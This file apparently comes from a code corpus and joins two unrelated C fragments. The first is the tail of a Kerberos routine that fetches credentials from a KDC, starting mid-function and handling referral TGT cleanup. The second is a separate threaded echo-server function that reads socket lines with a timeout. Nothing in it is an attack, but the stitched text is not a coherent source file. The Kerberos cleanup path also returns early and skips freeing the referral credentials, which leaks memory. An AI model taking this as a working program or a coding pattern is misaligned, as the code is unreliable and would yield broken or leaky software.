    otgtptr = tgtptr;

    /*
     * Finally have TGT for target realm!  Try using it to get creds.
     */

    if (!krb5_c_valid_enctype(tgtptr->keyblock.enctype)) {
	retval = KRB5_PROG_ETYPE_NOSUPP;
	goto cleanup;
    }

    context->use_conf_ktypes = old_use_conf_ktypes;
    retval = krb5_get_cred_via_tkt(context, tgtptr,
				   FLAGS2OPTS(tgtptr->ticket_flags) |
				   kdcopt |
				   (in_cred->second_ticket.length ?
				    KDC_OPT_ENC_TKT_IN_SKEY : 0),
				   tgtptr->addresses, in_cred, out_cred);

cleanup:
    krb5_free_cred_contents(context, &tgtq);
    if (tgtptr == &cc_tgt)
	krb5_free_cred_contents(context, tgtptr);
    if (tgtptr_isoffpath)
	krb5_free_creds(context, otgtptr);
    context->use_conf_ktypes = old_use_conf_ktypes;
    /* Drop the original principal back into in_cred so that it's cached
       in the expected format. */
    DUMP_PRINC("gc_from_kdc: final hacked server principal at cleanup",
	       server);
    krb5_free_principal(context, server);
    in_cred->server = supplied_server;
    if (*out_cred && !retval) {
        /* Success: free server, swap supplied server back in. */
        krb5_free_principal (context, (*out_cred)->server);
	(*out_cred)->server= out_supplied_server;
    }
    else {
        /* 
	 * Failure: free out_supplied_server.  Don't free out_cred here
	 * since it's either null or a referral TGT that we free below,
	 * and we may need it to return.
	 */
        krb5_free_principal (context, out_supplied_server);
    }
    DUMP_PRINC("gc_from_kdc: final server after reversion", in_cred->server);
    /*
     * Deal with ccache TGT management: If tgts has been set from
     * initial non-referral TGT discovery, leave it alone.  Otherwise, if
     * referral_tgts[0] exists return it as the only entry in tgts.
     * (Further referrals are never cached, only the referral from the
     * local KDC.)  This is part of cleanup because useful received TGTs
     * should be cached even if the main request resulted in failure.
     */

    if (*tgts == NULL) {
        if (referral_tgts[0]) {
#if 0
  	    /*
	     * This should possibly be a check on the candidate return
	     * credential against the cache, in the circumstance where we
	     * don't want to clutter the cache with near-duplicate
	     * credentials on subsequent iterations.  For now, it is
	     * disabled.
	     */
	    subretval=...?;
	    if (subretval) {
#endif
	        /* Allocate returnable TGT list. */
	        if (!(*tgts=calloc(sizeof (krb5_creds *), 2)))
		    return ENOMEM;
		subretval=krb5_copy_creds(context, referral_tgts[0], &((*tgts)[0]));
		if(subretval)
		    return subretval;
		(*tgts)[1]=NULL;
		DUMP_PRINC("gc_from_kdc: returning referral TGT for ccache",
			   (*tgts)[0]->server);
#if 0
	    }
#endif
	}
    }

    /* Free referral TGTs list. */
    for (i=0;i<KRB5_REFERRAL_MAXHOPS;i++) {
        if(referral_tgts[i]) {
	    krb5_free_creds(context, referral_tgts[i]);
	}
    }
    DPRINTF(("gc_from_kdc finishing with %s\n",
	     retval ? error_message(retval) : "no error"));
    return retval;
}
void * echo_server(void * arg) {
    int status;
    char buffer[MAX_BUFFER_LEN];
    ServerTag * server_tag = arg;
    int c_socket = server_tag->c_socket;
    ssize_t num_read;
    struct timeval time_out;
    char * error_msg;

    /*  Free struct allocated by calling function before we do
        anything that might cause us to exit()                   */

    free(server_tag);

    DINCREMENT_THREAD_COUNT();
    DFPRINTF ((stderr, "Entering thread - number of active threads is %d.\n",
            get_thread_count()));

    /*  Detach thread, the main server doesn't wait for it */

    status = pthread_detach(pthread_self());
    if ( status != 0 ) {
        mk_errmsg("Error detaching thread", &error_msg);
        fprintf(stderr, "%s\n", error_msg);
        free(error_msg);
        exit(EXIT_FAILURE);
    }

    /*  Loop over input lines  */

    while ( 1 ) {

        /*  Note: Linux modifies the struct timeval on a call to
            select(), so we need to reset it before each call.    */

        time_out.tv_sec = time_out_secs;
        time_out.tv_usec = time_out_usecs;

        num_read = socket_readline_timeout_r(c_socket, buffer,
                MAX_BUFFER_LEN, &time_out, &error_msg);
        if ( num_read < 0 ) {
            fprintf(stderr, "%s\n", error_msg);
            free(error_msg);
            exit(EXIT_FAILURE);
        }
            
        if ( num_read == 0 ) {

            /*  We've timed out getting a line of input  */

            DFPRINTF ((stderr, "No input available.\n"));
            if ( socket_writeline_r(c_socket, time_out_msg,
                    strlen(time_out_msg), &error_msg) < 0 ) {
                fprintf(stderr, "%s\n", error_msg);
                free(error_msg);
                exit(EXIT_FAILURE);
            }
            break;
        }

        /*  Echo the line of input  */

        DFPRINTF ((stderr, "Echoing input.\n"));
        if ( socket_writeline_r(c_socket, buffer,
                    strlen(buffer), &error_msg) < 0 ) {
            fprintf(stderr, "%s\n", error_msg);
            free(error_msg);
            exit(EXIT_FAILURE);
        }
    }

    if ( close(c_socket) == - 1 ) {
        mk_errmsg("Error closing socket", &error_msg);
        fprintf(stderr, "%s\n", error_msg);
        free(error_msg);
        exit(EXIT_FAILURE);
    }

    DFPRINTF ((stderr, "Exiting from thread.\n"));
    DDECREMENT_THREAD_COUNT();

    return NULL;
}